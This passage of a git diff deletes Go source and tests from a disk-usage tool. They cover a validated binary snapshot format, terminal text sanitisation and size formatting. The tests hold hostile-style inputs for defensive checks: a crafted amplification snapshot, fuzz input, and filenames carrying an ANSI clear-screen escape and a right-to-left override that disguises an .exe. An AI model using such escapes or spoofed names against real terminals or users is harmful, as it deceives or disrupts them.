Load(bytes.NewReader(data)) - if err != nil { - t.Fatal(err) - } - tr.Stats.Excluded = 1 - var b bytes.Buffer - export.Summary(&b, tr) - if strings.ContainsAny(b.String(), "\x1b\x07") { - t.Fatalf("raw control characters in summary: %q", b.String()) - } -} - -// Blocks of one directory plus K-1 files repeat byte for byte, so a small -// file describes millions of nodes; LoadFile must refuse before allocating. -func TestNodeAmplificationLimited(t *testing.T) { - const k, n = 1000, 1_200_001 - data := craft(n, `{"root":"/r"}`, func(i int, w *writer) { - switch { - case i == 0: - node(w, 0, inventory.KindDir, "", 0) - case i == 1: - node(w, 1, inventory.KindDir, "d", 0) - case (i-1)%k == 0: - node(w, k, inventory.KindDir, "d", 0) - default: - node(w, uint64((i-1)%k), inventory.KindFile, "f", 0) - } - }) - if _, err := Load(bytes.NewReader(data)); err != nil { - t.Fatalf("crafted tree is otherwise valid: %v", err) - } - p := filepath.Join(t.TempDir(), "amp.msz") - os.WriteFile(p, data, 0o644) - _, err := LoadFile(p) - if err == nil || !strings.Contains(err.Error(), "node count") { - t.Fatalf("%d nodes from a %d-byte file accepted: %v", n, len(data), err) - } -} diff --git a/internal/snapshot/snapshot.go b/internal/snapshot/snapshot.go deleted file mode 100644 index 059c89b..0000000 --- a/internal/snapshot/snapshot.go +++ /dev/null @@ -1,528 +0,0 @@ -// Package snapshot implements the versioned, checksummed binary inventory -// format and snapshot comparison. -// -// Layout (all integers little-endian / varint): -// -// magic 8 bytes brand.SnapshotMagic -// version uint16 currently 1 -// flags uint16 bit 0: body is gzip-compressed (always set by Save) -// body gzip stream of: -// meta uvarint length + JSON (root, timestamps, counters, options) -// exts uvarint count, then count × (uvarint length + bytes) -// nodes uvarint count, then per node: -// uvarint parentDelta (id-parent; 0 only for the root) -// byte kind, byte category, uvarint flags -// uvarint nameLen + name -// varint size, varint alloc, varint mtime -// uvarint mode, uid, gid, nlink, ext -// errors uvarint count, then per record: uvarint node, byte kind, -// uvarint len + name, uvarint len + message -// sha256 32 bytes over the uncompressed body -// -// Nodes are written in ID order; a parent always precedes its children, so a -// reader can rebuild the tree in one pass and malformed input cannot create -// cycles. Aggregates are recomputed on load, never trusted. -package snapshot - -import ( - "bufio" - "bytes" - "compress/gzip" - "crypto/sha256" - "encoding/binary" - "encoding/json" - "errors" - "fmt" - "io" - "os" - "strings" - "time" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/inventory" -) - -// Version is the current format version. -const Version = 1 - -// Limits applied when reading untrusted snapshots. -const ( - MaxNodes = 1<<31 - 1 - MaxDepth = 4096 // far beyond any real path; bounds recursion in exporters - MaxSize = 1 << 60 // per-node size cap (1 EiB); keeps aggregates from overflowing - // DefaultMaxBody caps the decompressed body for Load. LoadFile uses a - // limit proportional to the file size instead (see bodyLimit). - DefaultMaxBody = 4 << 30 - MaxNameLen = 1 << 16 - MaxMetaLen = 16 << 20 - MaxExtLen = 64 - MaxMsgLen = 4096 - maxExts = 1<<16 - 1 - flagGzipped = 1 -) - -type meta struct { - Root string `json:"root"` - Created time.Time `json:"created"` - Start time.Time `json:"start"` - End time.Time `json:"end"` - Complete bool `json:"complete"` - Cancelled bool `json:"cancelled"` - Files int64 `json:"files"` - Dirs int64 `json:"dirs"` - Symlinks int64 `json:"symlinks"` - Others int64 `json:"others"` - ErrCounts []int64 `json:"err_counts"` - Excluded int64 `json:"excluded"` - SkippedMounts int64 `json:"skipped_mounts"` - VirtualSkipped int64 `json:"virtual_skipped"` - LoopsSkipped int64 `json:"loops_skipped"` - BrokenLinks int64 `json:"broken_links"` - HardlinkDups int64 `json:"hardlink_dups"` - Unscanned int64 `json:"unscanned"` - Excludes []string `json:"excludes"` - OneFileSystem bool `json:"one_file_system"` - Follow string `json:"follow"` - Workers int `json:"workers"` - Host string `json:"host"` - Generator string `json:"generator"` -} - -// IsSnapshot reports whether path starts with the snapshot magic. -func IsSnapshot(path string) bool { - f, err := os.Open(path) - if err != nil { - return false - } - defer f.Close() - b := make([]byte, len(brand.SnapshotMagic)) - _, err = io.ReadFull(f, b) - return err == nil && string(b) == brand.SnapshotMagic -} - -type writer struct { - w io.Writer - buf [binary.MaxVarintLen64]byte - err error -} - -func (w *writer) bytes(b []byte) { - if w.err == nil { - _, w.err = w.w.Write(b) - } -} -func (w *writer) uvarint(v uint64) { w.bytes(w.buf[:binary.PutUvarint(w.buf[:], v)]) } -func (w *writer) varint(v int64) { w.bytes(w.buf[:binary.PutVarint(w.buf[:], v)]) } -func (w *writer) str(s string) { w.uvarint(uint64(len(s))); w.bytes([]byte(s)) } - -// Save writes t to w. The caller must hold t's read lock. -func Save(out io.Writer, t *inventory.Tree) error { - bw := bufio.NewWriterSize(out, 1<<20) - hdr := make([]byte, 0, 12) - hdr = append(hdr, brand.SnapshotMagic...) - hdr = binary.LittleEndian.AppendUint16(hdr, Version) - hdr = binary.LittleEndian.AppendUint16(hdr, flagGzipped) - bw.Write(hdr) - - gz, _ := gzip.NewWriterLevel(bw, gzip.BestSpeed) - h := sha256.New() - w := &writer{w: io.MultiWriter(gz, h)} - - st := &t.Stats - host, _ := os.Hostname() - m := meta{Root: st.Root, Created: time.Now().UTC(), Start: st.Start, End: st.End, Complete: st.Complete, - Cancelled: st.Cancelled, Files: st.Files, Dirs: st.Dirs, Symlinks: st.Symlinks, Others: st.Others, - ErrCounts: st.ErrCounts[:], Excluded: st.Excluded, SkippedMounts: st.SkippedMounts, - VirtualSkipped: st.VirtualSkipped, LoopsSkipped: st.LoopsSkipped, BrokenLinks: st.BrokenLinks, - HardlinkDups: st.HardlinkDups, Unscanned: st.Unscanned, Excludes: st.Excludes, - OneFileSystem: st.OneFileSystem, Follow: st.Follow, Workers: st.Workers, Host: host, - Generator: brand.Name + " " + brand.Version} - mb, err := json.Marshal(m) - if err != nil { - return err - } - w.uvarint(uint64(len(mb))) - w.bytes(mb) - - w.uvarint(uint64(t.ExtCount())) - for i := range t.ExtCount() { - w.str(t.ExtByIndex(i)) - } - w.uvarint(uint64(t.Len())) - for i := range t.Len() { - id := inventory.NodeID(i) - n := t.Node(id) - if i == 0 { - w.uvarint(0) - } else { - w.uvarint(uint64(id - n.Parent)) - } - w.bytes([]byte{byte(n.Kind), byte(n.Cat)}) - w.uvarint(uint64(n.Flags)) - w.str(n.Name) - w.varint(n.Size) - w.varint(n.Alloc) - w.varint(n.MTime) - w.uvarint(uint64(n.Mode)) - w.uvarint(uint64(n.UID)) - w.uvarint(uint64(n.GID)) - w.uvarint(uint64(n.Nlink)) - w.uvarint(uint64(n.Ext)) - } - w.uvarint(uint64(len(st.Errors))) - for _, e := range st.Errors { - w.uvarint(uint64(e.Node)) - w.bytes([]byte{byte(e.Kind)}) - w.str(e.Name) - w.str(e.Msg) - } - if w.err != nil { - return w.err - } - if err := gz.Close(); err != nil { - return err - } - bw.Write(h.Sum(nil)) - return bw.Flush() -} - -// SaveFile writes a snapshot atomically (temp file + rename). -func SaveFile(path string, t *inventory.Tree) error { - tmp, err := os.CreateTemp(dirOf(path), ".mapsize-*.tmp") - if err != nil { - return err - } - defer os.Remove(tmp.Name()) - if err := Save(tmp, t); err != nil { - tmp.Close() - return err - } - if err := tmp.Close(); err != nil { - return err - } - return os.Rename(tmp.Name(), path) -} - -func dirOf(p string) string { - i := strings.LastIndexAny(p, `/\`) - if i < 0 { - return "." - } - if i == 0 { - return p[:1] - } - return p[:i] -} - -type reader struct { - r *bufio.Reader - err error -} - -func (r *reader) fail(format string, a ...any) { - if r.err == nil { - r.err = fmt.Errorf("snapshot: "+format, a...) - } -} - -func (r *reader) byte1() byte { - if r.err != nil { - return 0 - } - b, err := r.r.ReadByte() - if err != nil { - r.fail("truncated: %v", err) - } - return b -} - -func (r *reader) uvarint(max uint64, what string) uint64 { - if r.err != nil { - return 0 - } - v, err := readUvarint(r.r) - if err != nil { - r.fail("bad %s: %v", what, err) - return 0 - } - if v > max { - r.fail("%s %d exceeds limit %d", what, v, max) - return 0 - } - return v -} - -func (r *reader) varint(what string) int64 { - if r.err != nil { - return 0 - } - ux, err := readUvarint(r.r) - if err != nil { - r.fail("bad %s: %v", what, err) - } - v := int64(ux >> 1) // zig-zag, as encoding/binary.PutVarint - if ux&1 != 0 { - v = ^v - } - return v -} - -var errOverflow = errors.New("varint overflows 64 bits") - -// readUvarint is encoding/binary.ReadUvarint specialised to *bufio.Reader -// (no interface dispatch per byte; this is the loader's hot loop). -func readUvarint(br *bufio.Reader) (uint64, error) { - var x uint64 - var s uint - for i := 0; i < binary.MaxVarintLen64; i++ { - b, err := br.ReadByte() - if err != nil { - if i > 0 && err == io.EOF { - err = io.ErrUnexpectedEOF - } - return x, err - } - if b < 0x80 { - if i == binary.MaxVarintLen64-1 && b > 1 { - return x, errOverflow - } - return x | uint64(b)< l.n { - p = p[:l.n] - } - n, err := l.r.Read(p) - l.n -= int64(n) - return n, err -} - -// bodyLimit allows decompressed bodies up to 64× the compressed file size -// (real snapshots compress ~6×), with a 64 MiB floor for tiny files. -func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) } - -// nodeLimit caps the node count for a file of fileSize bytes. Real -// snapshots spend ~15 compressed bytes per node; a crafted one describes a -// node in a fraction of a byte, so without this a 1 MB file can demand -// gigabytes of memory while staying within bodyLimit. -func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) } - -// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes -// of decompressed data. -func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) } - -// LoadLimit is Load with an explicit decompressed-size limit. -func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) { - return load(in, maxBody, MaxNodes) -} - -func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error) { - br := bufio.NewReaderSize(in, 1<<20) - hdr := make([]byte, len(brand.SnapshotMagic)+4) - if _, err := io.ReadFull(br, hdr); err != nil { - return nil, errors.New("snapshot: file too short") - } - if string(hdr[:8]) != brand.SnapshotMagic { - return nil, errors.New("snapshot: not a " + brand.Name + " snapshot") - } - if v := binary.LittleEndian.Uint16(hdr[8:]); v != Version { - return nil, fmt.Errorf("snapshot: unsupported version %d (this build reads %d)", v, Version) - } - if binary.LittleEndian.Uint16(hdr[10:])&flagGzipped == 0 { - return nil, errors.New("snapshot: uncompressed bodies are not supported") - } - gz, err := gzip.NewReader(br) - if err != nil { - return nil, fmt.Errorf("snapshot: %w", err) - } - gz.Multistream(false) - // Decompression and hashing run on their own goroutine, overlapping - // with parsing. The pipe's close orders the hash and br accesses: the - // parser only sees EOF after the copier has finished with both. - h := sha256.New() - pr, pw := io.Pipe() - defer pr.Close() // unblocks the copier if we bail out early - go func() { - _, err := io.CopyBuffer(pw, io.TeeReader(&limitedReader{gz, maxBody}, h), make([]byte, 256<<10)) - pw.CloseWithError(err) - }() - r := &reader{r: bufio.NewReaderSize(pr, 1<<16)} - - var m meta - if mb := r.bytesN(r.uvarint(MaxMetaLen, "metadata length")); r.err == nil { - if err := json.Unmarshal(mb, &m); err != nil { - return nil, fmt.Errorf("snapshot: metadata: %w", err) - } - } - if r.err != nil { - return nil, r.err - } - t := inventory.New(m.Root, inventory.KindDir) - nExt := r.uvarint(maxExts, "extension count") - exts := make([]string, 0, min(nExt, 1024)) - for range nExt { - exts = append(exts, r.str(MaxExtLen, "extension")) - } - if r.err != nil { - return nil, r.err - } - extIndex := t.ExtIndexer() - nNodes := r.uvarint(maxNodes, "node count") - depth := []uint16{0} // per node, for the depth limit; parents precede children - if r.err != nil { - return nil, r.err - } - if nNodes == 0 { - return nil, errors.New("snapshot: no root node") - } - for i := uint64(0); i < nNodes && r.err == nil; i++ { - pd := r.uvarint(MaxNodes, "parent") - kind := inventory.Kind(r.byte1()) - cat := inventory.Category(r.byte1()) - flags := inventory.Flags(r.uvarint(1<<16-1, "flags")) - name := r.str(MaxNameLen, "name") - size, alloc, mtime := r.varint("size"), r.varint("alloc"), r.varint("mtime") - mode := r.uvarint(1<<32-1, "mode") - uid := r.uvarint(1<<32-1, "uid") - gid := r.uvarint(1<<32-1, "gid") - nlink := r.uvarint(1<<32-1, "nlink") - ext := r.uvarint(nExt, "ext") - if r.err != nil { - break - } - if kind > inventory.KindOther || cat >= inventory.NumCategories { - r.fail("node %d: invalid kind/category", i) - break - } - if size < 0 || alloc < 0 || size > MaxSize || alloc > MaxSize { - r.fail("node %d: size out of range", i) - break - } - var id inventory.NodeID - if i == 0 { - if pd != 0 || kind != inventory.KindDir && nNodes > 1 { - r.fail("invalid root") - break - } - id = 0 - rn := t.Node(0) - rn.Kind = kind - } else { - if pd == 0 || pd > i { - r.fail("node %d: invalid parent reference", i) - break - } - parent := inventory.NodeID(i - pd) - if t.Node(parent).Kind != inventory.KindDir { - r.fail("node %d: parent is not a directory", i) - break - } - if !validName(name) { - r.fail("node %d: invalid name %q", i, name) - break - } - if d := depth[parent] + 1; d > MaxDepth { - r.fail("node %d: deeper than %d levels", i, MaxDepth) - break - } - id = t.Add(parent, name, kind) - depth = append(depth, depth[parent]+1) - } - n := t.Node(id) - n.Cat, n.Flags = cat, flags - n.Size, n.Alloc, n.MTime = size, alloc, mtime - n.Mode, n.UID, n.GID, n.Nlink = uint32(mode), uint32(uid), uint32(gid), uint32(nlink) - if kind != inventory.KindDir && ext < uint64(len(exts)) { - n.Ext = extIndex(exts[ext]) - } - } - nErr := r.uvarint(inventory.MaxErrorRecords, "error count") - for range nErr { - node := r.uvarint(nNodes-1, "error node") - kind := inventory.ErrKind(r.byte1()) - name := r.str(MaxNameLen, "error name") - msg := r.str(MaxMsgLen, "error message") - if r.err != nil { - break - } - if kind >= inventory.NumErrKinds { - kind = inventory.ErrOther - } - t.Stats.Errors = append(t.Stats.Errors, inventory.ErrorRecord{Node: inventory.NodeID(node), Kind: kind, Name: name, Msg: msg}) - } - if r.err != nil { - return nil, r.err - } - // The body must end here, then the checksum follows the gzip stream. - if _, err := r.r.ReadByte(); err != io.EOF { - return nil, errors.New("snapshot: trailing data in body") - } - sum := make([]byte, sha256.Size) - if _, err := io.ReadFull(br, sum); err != nil { - return nil, errors.New("snapshot: missing checksum") - } - if !bytes.Equal(sum, h.Sum(nil)) { - return nil, errors.New("snapshot: checksum mismatch (file corrupt)") - } - - t.Recompute() - st := &t.Stats - st.Start, st.End, st.Complete, st.Cancelled = m.Start, m.End, true, m.Cancelled - st.Files, st.Dirs, st.Symlinks, st.Others = m.Files, m.Dirs, m.Symlinks, m.Others - copy(st.ErrCounts[:], m.ErrCounts) - st.Excluded, st.SkippedMounts, st.VirtualSkipped = m.Excluded, m.SkippedMounts, m.VirtualSkipped - st.LoopsSkipped, st.BrokenLinks, st.HardlinkDups, st.Unscanned = m.LoopsSkipped, m.BrokenLinks, m.HardlinkDups, m.Unscanned - st.Excludes, st.OneFileSystem, st.Follow, st.Workers = m.Excludes, m.OneFileSystem, m.Follow, m.Workers - st.FromSnapshot = fmt.Sprintf("%s (%s, %s)", m.Created.Local().Format("2006-01-02 15:04"), m.Host, m.Generator) - return t, nil -} - -func validName(s string) bool { - return s != "" && s != "." && s != ".." && !strings.ContainsAny(s, "/\x00") -} - -// LoadFile opens and loads a snapshot file. -func LoadFile(path string) (*inventory.Tree, error) { - f, err := os.Open(path) - if err != nil { - return nil, err - } - defer f.Close() - limit, nodes := int64(DefaultMaxBody), uint64(MaxNodes) - if fi, err := f.Stat(); err == nil { - limit, nodes = bodyLimit(fi.Size()), nodeLimit(fi.Size()) - } - return load(f, limit, nodes) -} diff --git a/internal/snapshot/snapshot_test.go b/internal/snapshot/snapshot_test.go deleted file mode 100644 index 1e749f8..0000000 --- a/internal/snapshot/snapshot_test.go +++ /dev/null @@ -1,139 +0,0 @@ -package snapshot - -import ( - "bufio" - "bytes" - "encoding/binary" - "testing" - - "github.com/andydixon/mapsize/internal/inventory" -) - -func sample() *inventory.Tree { - t := inventory.New("/srv", inventory.KindDir) - a := t.Add(0, "a", inventory.KindDir) - b := t.Add(0, "b", inventory.KindDir) - f1 := t.Add(a, "x.iso", inventory.KindFile) - t.Node(f1).Size, t.Node(f1).Alloc = 1000, 1024 - f2 := t.Add(b, "y.log", inventory.KindFile) - t.Node(f2).Size, t.Node(f2).Alloc = 50, 4096 - t.Node(f2).Flags = inventory.FlagSparse - t.Recompute() - t.Stats.Files, t.Stats.Dirs = 2, 3 - t.Stats.AddError(inventory.ErrorRecord{Node: b, Kind: inventory.ErrPermission, Msg: "denied"}) - return t -} - -func TestRoundTrip(t *testing.T) { - src := sample() - var buf bytes.Buffer - if err := Save(&buf, src); err != nil { - t.Fatal(err) - } - got, err := Load(bytes.NewReader(buf.Bytes())) - if err != nil { - t.Fatal(err) - } - if got.Len() != src.Len() { - t.Fatalf("len %d want %d", got.Len(), src.Len()) - } - for i := range src.Len() { - a, b := src.Node(inventory.NodeID(i)), got.Node(inventory.NodeID(i)) - if a.Name != b.Name || a.TotSize != b.TotSize || a.TotAlloc != b.TotAlloc || a.Flags != b.Flags || - src.Path(inventory.NodeID(i)) != got.Path(inventory.NodeID(i)) || src.ExtName(a) != got.ExtName(b) { - t.Fatalf("node %d differs: %+v vs %+v", i, a, b) - } - } - if got.Stats.ErrCounts[inventory.ErrPermission] != 1 || len(got.Stats.Errors) != 1 { - t.Fatalf("errors not restored: %+v", got.Stats) - } -} - -func TestCorruptionDetected(t *testing.T) { - var buf bytes.Buffer - Save(&buf, sample()) - data := buf.Bytes() - // Flip a byte in the checksum trailer. - bad := append([]byte(nil), data...) - bad[len(bad)-1] ^= 0xff - if _, err := Load(bytes.NewReader(bad)); err == nil { - t.Fatal("checksum corruption not detected") - } - // Every truncation must fail cleanly. - for i := 0; i < len(data)-1; i += 7 { - if _, err := Load(bytes.NewReader(data[:i])); err == nil { - t.Fatalf("truncation at %d accepted", i) - } - } -} - -func FuzzLoad(f *testing.F) { - var buf bytes.Buffer - Save(&buf, sample()) - f.Add(buf.Bytes()) - f.Add([]byte("MAPSIZE\x00\x01\x00\x01\x00")) - f.Fuzz(func(t *testing.T, data []byte) { - tr, err := Load(bytes.NewReader(data)) - if err != nil { - return - } - // A successfully loaded tree must be internally consistent. - for i := 1; i < tr.Len(); i++ { - if p := tr.Node(inventory.NodeID(i)).Parent; p >= inventory.NodeID(i) { - t.Fatalf("parent %d >= child %d", p, i) - } - } - _ = tr.Path(inventory.NodeID(tr.Len() - 1)) - }) -} - -func TestCompare(t *testing.T) { - old := sample() - nw := inventory.New("/srv", inventory.KindDir) - a := nw.Add(0, "a", inventory.KindDir) - f1 := nw.Add(a, "x.iso", inventory.KindFile) - nw.Node(f1).Size, nw.Node(f1).Alloc = 5000, 5120 - c := nw.Add(0, "c", inventory.KindDir) - f3 := nw.Add(c, "z", inventory.KindFile) - nw.Node(f3).Size, nw.Node(f3).Alloc = 10, 4096 - nw.Recompute() - - d := Compare(old, nw) - if d.StatusOf(f1, inventory.SizeAllocated) != Grew || d.Delta(f1, inventory.SizeAllocated) != 4096 { - t.Fatalf("x.iso: %v %d", d.StatusOf(f1, 0), d.Delta(f1, 0)) - } - if d.StatusOf(c, 0) != Added { - t.Fatal("c should be new") - } - if len(d.Removed) != 1 || old.Node(d.Removed[0]).Name != "b" { - t.Fatalf("removed %v", d.Removed) - } - ch := d.Changes(10, inventory.SizeAllocated) - paths := map[string]Status{} - for _, c := range ch { - paths[c.Path] = c.Status - } - if paths["/srv/a/x.iso"] != Grew || paths["/srv/b"] != Removed || paths["/srv/c"] != Added { - t.Fatalf("changes %+v", ch) - } - if _, ok := paths["/srv/a"]; ok { - t.Fatal("/srv/a should be explained by its child") - } - if _, ok := paths["/srv/c/z"]; ok { - t.Fatal("contents of new dirs should not be listed separately") - } -} - -func TestReadUvarintMatchesStdlib(t *testing.T) { - for _, v := range []uint64{0, 1, 127, 128, 300, 1 << 35, 1<<64 - 1} { - buf := binary.AppendUvarint(nil, v) - got, err := readUvarint(bufio.NewReader(bytes.NewReader(buf))) - if err != nil || got != v { - t.Fatalf("%d: got %d %v", v, got, err) - } - } - bad := bytes.Repeat([]byte{0xff}, 11) - if _, err := readUvarint(bufio.NewReader(bytes.NewReader(bad))); err == nil { - t.Fatal("overflow not detected") - } -} diff --git a/internal/textutil/text.go b/internal/textutil/text.go deleted file mode 100644 index 7ee1e0c..0000000 --- a/internal/textutil/text.go +++ /dev/null @@ -1,160 +0,0 @@ -// Package textutil holds display helpers: sanitising untrusted strings for -// the terminal, width-aware truncation, and human-readable units. -package textutil - -import ( - "fmt" - "strings" - "unicode/utf8" - - "github.com/charmbracelet/x/ansi" - "github.com/rivo/uniseg" -) - -// Sanitize makes an untrusted string (a filename, snapshot data) safe to -// write to a terminal. Control characters (C0, DEL, C1) and bidi overrides are -// replaced by visible escapes; invalid UTF-8 becomes U+FFFD. The original -// string should be kept for filesystem operations. -func Sanitize(s string) string { - clean := true - for i := 0; i < len(s); i++ { - if c := s[i]; c < 0x20 || c >= 0x7f { - clean = false - break - } - } - if clean { - return s - } - var b strings.Builder - b.Grow(len(s) + 8) - for i := 0; i < len(s); { - r, size := utf8.DecodeRuneInString(s[i:]) - if r == utf8.RuneError && size <= 1 { - b.WriteRune(utf8.RuneError) - i++ - continue - } - i += size - switch { - case r < 0x20 || r == 0x7f || (r >= 0x80 && r <= 0x9f): - fmt.Fprintf(&b, `\x%02x`, r) - case isBidiControl(r): - fmt.Fprintf(&b, `\u%04x`, r) - default: - b.WriteRune(r) - } - } - return b.String() -} - -func isBidiControl(r rune) bool { - return (r >= 0x202a && r <= 0x202e) || (r >= 0x2066 && r <= 0x2069) || - r == 0x200e || r == 0x200f || r == 0x061c -} - -// Clusters calls fn for each grapheme cluster of s with its display width. -// Clusters whose width terminals disagree on (per-rune wcwidth versus -// grapheme width, e.g. emoji ZWJ sequences) are replaced by U+FFFD with -// width 1, and zero-width clusters are dropped, so that measuring and -// drawing always agree with the terminal. fn returns false to stop. -func Clusters(s string, fn func(c string, w int) bool) { - state := -1 - for s != "" { - var c string - var w int - c, s, w, state = uniseg.FirstGraphemeClusterInString(s, state) - if w == 0 { - continue - } - if len(c) > 1 && ansi.WcWidth.StringWidth(c) != w { - c, w = "\uFFFD", 1 - } - if !fn(c, w) { - return - } - } -} - -// Width returns the display width of s in terminal cells. -func Width(s string) int { - n := 0 - for i := 0; i < len(s); i++ { - if s[i] < 0x20 || s[i] >= 0x7f { - Clusters(s, func(_ string, w int) bool { n += w; return true }) - return n - } - } - return len(s) -} - -// Truncate clips s to at most w cells, appending "…" if anything was cut. -func Truncate(s string, w int) string { - if w <= 0 { - return "" - } - if Width(s) <= w { - return s - } - return clip(s, w-1) + "…" -} - -// TruncateLeft clips from the left, prefixing "…" (used for paths and -// breadcrumbs where the tail is the informative part). -func TruncateLeft(s string, w int) string { - if w <= 0 { - return "" - } - total := Width(s) - if total <= w { - return s - } - skip := total - (w - 1) - var b strings.Builder - Clusters(s, func(c string, cw int) bool { - if skip > 0 { - skip -= cw - if skip < 0 { - // A wide cluster overshot by one cell; pad to keep width exact. - b.WriteString(strings.Repeat(" ", -skip)) - } - return true - } - b.WriteString(c) - return true - }) - return "…" + b.String() -} - -// clip returns the longest prefix of s that fits in w cells. -func clip(s string, w int) string { - var b strings.Builder - used := 0 - Clusters(s, func(c string, cw int) bool { - if used+cw > w { - return false - } - used += cw - b.WriteString(c) - return true - }) - return b.String() -} - -// PadRight pads s with spaces to exactly w cells (truncating if longer). -func PadRight(s string, w int) string { - s = Truncate(s, w) - if d := w - Width(s); d > 0 { - s += strings.Repeat(" ", d) - } - return s -} - -// PadLeft right-aligns s in w cells. -func PadLeft(s string, w int) string { - s = Truncate(s, w) - if d := w - Width(s); d > 0 { - s = strings.Repeat(" ", d) + s - } - return s -} diff --git a/internal/textutil/text_test.go b/internal/textutil/text_test.go deleted file mode 100644 index 6eb0804..0000000 --- a/internal/textutil/text_test.go +++ /dev/null @@ -1,74 +0,0 @@ -package textutil - -import ( - "strings" - "testing" -) - -func TestSanitize(t *testing.T) { - cases := map[string]string{ - "plain.txt": "plain.txt", - "evil\x1b[2Jname": `evil\x1b[2Jname`, - "bell\a": `bell\x07`, - "c1\u009bx": `c1\x9bx`, - "bad\xffutf8": "bad�utf8", - "rtl\u202egnp.exe": `rtl\u202egnp.exe`, - "日本語": "日本語", - "tab\tnew\nline\rdel\x7f": `tab\x09new\x0aline\x0ddel\x7f`, - } - for in, want := range cases { - if got := Sanitize(in); got != want { - t.Errorf("Sanitize(%q) = %q, want %q", in, got, want) - } - if strings.ContainsAny(Sanitize(in), "\x1b\a\u009b") { - t.Errorf("control byte survived in %q", in) - } - } -} - -func TestTruncate(t *testing.T) { - if got := Truncate("hello world", 5); got != "hell…" { - t.Errorf("got %q", got) - } - if got := Truncate("日本語テキスト", 5); Width(got) > 5 { - t.Errorf("wide truncation overflow: %q width %d", got, Width(got)) - } - if got := Truncate("abc", 3); got != "abc" { - t.Errorf("got %q", got) - } - if got := Truncate("abc", 0); got != "" { - t.Errorf("got %q", got) - } - if got := TruncateLeft("/a/very/long/path", 8); Width(got) != 8 || !strings.HasSuffix(got, "path") { - t.Errorf("TruncateLeft got %q", got) - } - if got := TruncateLeft("ab日本語", 4); Width(got) != 4 { - t.Errorf("TruncateLeft wide got %q (%d)", got, Width(got)) - } -} - -func TestSize(t *testing.T) { - cases := map[int64]string{0: "0 B", 1023: "1023 B", 1024: "1.00 KiB", 1536: "1.50 KiB", - 181 << 30: "181 GiB", 1 << 62: "4.00 EiB"} - for in, want := range cases { - if got := Size(in); got != want { - t.Errorf("Size(%d)=%q want %q", in, got, want) - } - } - if got := Count(2184392); got != "2,184,392" { - t.Errorf("Count got %q", got) - } - if got := SignedSize(-2048); got != "-2.00 KiB" { - t.Errorf("SignedSize got %q", got) - } -} - -func TestClustersAgreeWithWidth(t *testing.T) { - for _, s := range []string{"abc", "日本", "é", "👨‍👩‍👧", "🎉x", "​"} { - n := 0 - Clusters(s, func(_ string, w int) bool { n += w; return true }) - if n != Width(s) { - t.Errorf("%q: clusters %d width %d", s, n, Width(s)) - } - } -} diff --git a/internal/textutil/units.go b/internal/textutil/units.go deleted file mode 100644 index 0aeedb8..0000000 --- a/internal/textutil/units.go +++ /dev/null @@ -1,125 +0,0 @@ -package textutil - -import ( - "fmt" - "strconv" - "time" -) - -// SI selects decimal units (kB, MB, …). The default is IEC (KiB, MiB, …). -// It is set once at start-up, before any goroutines format sizes. -var SI bool - -var ( - iecUnits = []string{"B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB"} - siUnits = []string{"B", "kB", "MB", "GB", "TB", "PB", "EB"} -) - -func scaled(n int64) (float64, string) { - base, units := 1024.0, iecUnits - if SI { - base, units = 1000.0, siUnits - } - neg := n < 0 - v := float64(n) - if neg { - v = -v - } - i := 0 - for v >= base && i < len(units)-1 { - v /= base - i++ - } - if neg { - v = -v - } - return v, units[i] -} - -func num(v float64, unit string) string { - a := v - if a < 0 { - a = -a - } - switch { - case unit == "B": - return strconv.FormatFloat(v, 'f', 0, 64) - case a < 10: - return strconv.FormatFloat(v, 'f', 2, 64) - case a < 100: - return strconv.FormatFloat(v, 'f', 1, 64) - default: - return strconv.FormatFloat(v, 'f', 0, 64) - } -} - -// Size formats a byte count, e.g. "86.4 GiB". -func Size(n int64) string { - v, u := scaled(n) - return num(v, u) + " " + u -} - -// SizeCompact formats a byte count in at most ~7 cells, e.g. "86GiB". -func SizeCompact(n int64) string { - v, u := scaled(n) - a := v - if a < 0 { - a = -a - } - if u != "B" && a < 10 { - return strconv.FormatFloat(v, 'f', 1, 64) + u - } - return strconv.FormatFloat(v, 'f', 0, 64) + u -} - -// SignedSize formats a delta with an explicit sign. -func SignedSize(n int64) string { - if n > 0 { - return "+" + Size(n) - } - if n < 0 { - return "-" + Size(-n) - } - return "±0 B" -} - -// Count formats an integer with thousands separators. -func Count(n int64) string { - s := strconv.FormatInt(n, 10) - neg := false - if n < 0 { - neg, s = true, s[1:] - } - out := make([]byte, 0, len(s)+len(s)/3) - for i := range len(s) { - if i > 0 && (len(s)-i)%3 == 0 { - out = append(out, ',') - } - out = append(out, s[i]) - } - if neg { - return "-" + string(out) - } - return string(out) -} - -// Duration formats an elapsed time as mm:ss or h:mm:ss. -func Duration(d time.Duration) string { - s := int64(d.Seconds()) - if s >= 3600 { - return fmt.Sprintf("%d:%02d:%02d", s/3600, s/60%60, s%60) - } - return fmt.Sprintf("%02d:%02d", s/60, s%60) -} - -// Percent formats part/whole as a percentage. -func Percent(part, whole int64) string { - if whole <= 0 { - return "–" - } - p := float64(part) * 100 / float64(whole) - if p < 10 { - return strconv.FormatFloat(p, 'f', 1, 64) + "%" - } - return strconv.FormatFloat(p, 'f', 0, 64) + "%" -} diff --git a/internal/treemap/nav.go b/internal/treemap/nav.go deleted file mode 100644 index e947b84..0000000 --- a/internal/treemap/nav.go +++ /dev/null @@ -1,106 +0,0 @@ -package treemap - -// Direction is an arrow-key direction. -type Direction int - -const ( - Left Direction = iota - Right - Up - Down -) - -// Neighbour finds the block a user expects to reach by pressing an arrow -// key from the block with ID sel: -// -// 1. Only blocks entirely beyond the selected block's edge in the -// direction of travel are candidates. -// 2. Blocks whose span overlaps the selected block's orthogonal span are -// strongly preferred over all others. -// 3. Then the smallest gap along the direction of travel wins. -// 4. Then the largest overlap with the selected block's span. -// 5. Then the block whose orthogonal span is closest to the selected -// block's centre line (0 if it contains it). -// 6. Ties break by position (top, then left) and finally ID. -// -// It returns false if there is no block in that direction. -func Neighbour(blocks []Block, sel int64, d Direction) (int64, bool) { - var s Block - found := false - for _, b := range blocks { - if b.ID == sel { - s, found = b, true - break - } - } - if !found { - return 0, false - } - type score struct { - tier, gap, ovl, off, y, x 